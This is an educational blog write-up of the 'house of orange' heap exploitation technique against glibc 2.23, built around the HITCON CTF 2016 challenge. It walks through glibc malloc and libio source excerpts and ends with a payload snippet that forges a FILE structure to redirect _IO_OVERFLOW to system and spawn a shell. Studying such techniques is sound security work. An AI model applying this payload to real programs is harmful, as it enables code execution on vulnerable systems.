Understanding the house of orange [study]

houseoforange

0. Overview

Assumption: Heap overflow, information leak, libc <= 2.23.

  • 2.24 is still doable but we need to bypass more security checks…

The core idea of house of orange is the unsorted bin attack & fsp attack. To get a unsorted bin, house of orange overwrites the size of top chunk and trigger _int_free inside the sysmalloc function.

However the house of orange is arcane. Many blogs / articles contradicts each other because the whole exploitation process is fiendishly complicated. That’s why I am writing this blog and doing my own little research.

1. Obtain unsorted bin

1.1 part of _int_malloc internal

Back to _int_malloc, _int_malloc checks bins for allocating heap memory (roughly) in the following order:

1
2
3
4
5
6
fast_bin
small_bin
unsorted bin
large bin
top
sysmalloc

glibc calls sysmalloc if top chunk fails to allocate heap memory for the allocation request:

1
2
3
4
5
6
7
8
9
...
/* Otherwise, relay to handle system-dependent cases */
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}

In sysmalloc, glibc calls _int_free to free the old top chunk. Thus, we can obtain the unsorted bin.

Since we can overflow the heap, sysmalloc can be invoked if the size of the top chunk is small enough.

1.2 Bypass the security check

However, there is an assert right before the _int_free:

1
2
3
4
5
6
7
8
9
10
11
12
/*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/

assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));

/* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

To bypass the assert, we need to focus on this:

1
(unsigned long) old_end & (pagesize - 1)) == 0

The end of the top chunk should be aligned with the page size.
Therefore the fake top chunk size should be 0xf31.

1.3 Allocate new block

The request size should be reasonable. Otherwise syscall calls mmap instead.

1
2
3
4
5
6
7
8
9
10
/*
If have mmap, and the request size meets the mmap threshold, and
the system supports mmap, and there are few enough currently
allocated mmapped regions, try to directly map this request
rather than expanding top.
*/

if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))

get threshold in the runtime:

Now since sysmalloc does not use mmap and already passes the security check, it will free the top chunk:

1
2
...
_int_free (av, old_top, 1);

So the next time we allocate a chunk (e.g. 0x400), we should leak the libc by bk in the unsorted bin. So here is the heap memory:

Oh wait… Why we also have fd_nextsize and bk_nextsize?

1
2
3
4
5
6
7
8
9
10
11
12
13
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) {
...
if (in_smallbin_range (size)) {
...
} else {
if (fwd != bck) {
...
} else {
victim->fd_nextsize = victim->bk_nextsize = victim; // <- Here we are
}
...
}
}

Looks like glibc fills fd_nextsize and bk_nextsize to the allocated bin. Cool!

1.4 Leak

After the size of the top chunk is tampered, leak the information by following two steps:

  1. Request for a chunk with size of 0x400. Since bk in unsorted bin points to somewhere in the arena (bin), we can leak the libc. The remainder of the unsorted bin is stored in the large bin.
  2. Use the same chunk to leak fd_nextsize or bk_nextsize.

2. Malloc abort routine

2.1 Abort routine

1
2
3
4
malloc_printerr
__libc_message
abort
_IO_flush_all_lockp

Trace the abort:

_IO_flush_all_lockp reminds us about the FILE structure (Brief introduction: https://1ce0ear.github.io/2017/09/25/File-Stream-Pointer-Overflow1/).

_IO_flush_all_lockp calls _IO_OVERFLOW (fp, EOF).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;

...
last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
...

2.2 Unsorted bin attack

1
2
fp = (_IO_FILE *) _IO_list_all -> _IO_list_all = '/bin/sh'
IO_OVERFLOW (fp, EOF) -> system(fp)

Since we know the nice “feature” from unsorted bin (Brief introduction: https://1ce0ear.github.io/2017/10/16/Zerostorage/)

1
2
3
4
bck = victim->bk;
...
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

we can forge the bck to _IO_list_all - 0x10. Therefore _IO_list_all = unsorted_chunks (av).

The definition of _IO_list_all:

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

Since we can’t control the main arena, how to construct the fake vtable?

2.3 fp chain

Revisit code in _IO_flush_all_lockp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp;

last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL) {
run_fp = fp;
if (do_lock)
_ IO_flockfile (fp);

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)))
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;

if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;

if (last_stamp != _IO_list_all_stamp) {
/* Something was added to the list. Start all over again. */
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
} else {
fp = fp->_chain;
}
}
...
}

If _IO_FILE struct is not legal, _IO_OVERFLOW won’t be called. Then _IO_flush_all_lockp attempts to iterate fp by

1
fp = fp->_chain;

If we can overwrite _chain, we can control the fp. But where is unsorted bin(top) + 0x68?

2.4 top + 0x68

Look at malloc_state, we know bins are defined here:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;

/* Flags (formerly in max_fast). */
int flags;

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];

/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;

/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;

/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
...

We also know unsorted_chunks and malloc_chunk:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#define bin_at(m, i) \
(mbinptr) (((char *) &((m)->bins[((i) - 1) * 2])) \
- offsetof (struct malloc_chunk, fd))

#define unsorted_chunks(M) (bin_at (M, 1))

struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

And we know small_bin and unsorted bin are continuous:

1
2
3
4
5
6
7
8
9
#define smallbin_index(sz) \
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION)

...
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);

Therefore top+0x68 points to small_bin[4]->bk.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsorted_chunks bin_at(M, 1) <- bins[0]
unsorted_chunks->fd = bins[0] <- top + 10
unsorted_chunks->bk = bins[1]

small_bin[0] bin_at(M, 2) <- bins[2] (Size 32)
small_bin[0]->fd = bins[2]
small_bin[0]->bk = bins[3]

small_bin[1] bin_at(M, 3) <- bins[4] (Size 48)
small_bin[1]->fd = bins[4]
small_bin[1]->bk = bins[5]

small_bin[2] bin_at(M, 4) <- bins[6] (Size 64)
...

small_bin[3] bin_at(M, 5) <- bins[8] (Size 80)
...

small_bin[4] bin_at(M, 6) <- bins[10] (Size 96)
small_bin[4]->fd = bins[10]
small_bin[4]->bk = bins[11] <- top + 0x68

Also it reminds me 0x60 can be treated as smallbin, not fastbin!

2.5 Make a smallbin

How can we get smallbin with size 0x60? The answer is the size of the unsorted bin should be tampered to 0x60.

Why 0x60? Revisit the unsorted bin logic:

Branch 1

1
2
3
4
5
6
7
8
...

if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
...
}

But branch 1 does not work here because:

Branch 2:

1
2
3
4
5
6
7
8
9
10
11
if (in_smallbin_range (size)) {
victim_index = smallbin_index (size); // => 6
bck = bin_at (av, victim_index); // bins[10]
fwd = bck->fd; // when smallbin is empty, fwd & bck points to itself.
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

Therefore unsorted bin with size 0x60 is settled to smallbin[4].

2.6 Abort happened

Abort happenes in the second iteration in the unsorted bin logic (since vicitm is malicious).

1
2
3
4
5
6
7
8
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
...

2.7 Fake _IO_list_all

Before the abort, _IO_list_all is overwritten by unsorted bin attack.s

Bad _IO_list_all:

We only have one last check for FILE:

1
2
3
4
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))

You can choice either way to bypass the check. The easiest should be:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
fake_chunk = '/bin/sh\x00'+p64(0x61)
fake_chunk += p64(0xdeadbeef)+p64(_IO_list_all-0x10)
fake_chunk += p64(0) + p64(1) # _IO_write_ptr _IO_write_base
fake_chunk = fake_chunk.ljust(0xc0,'\x00')
fake_chunk += p64(0) # mode

pay += fake_chunk
pay += p64(0)
pay += p64(0)

pay += p64(heap_base+0x5e8) # vtable
pay += p64(1)
pay += p64(2)
pay += p64(3)
pay += p64(0)*3 # vtable
pay += p64(system) # <- overwrite _IO_OVERFLOW

As a result, we can reach to our FILE structure in the heap by _chain:

Shell in the local:

Reference:
http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
https://github.com/scwuaptx/CTF/blob/master/2016-writeup/hitcon/houseoforange.py

Special Thanks:
veritas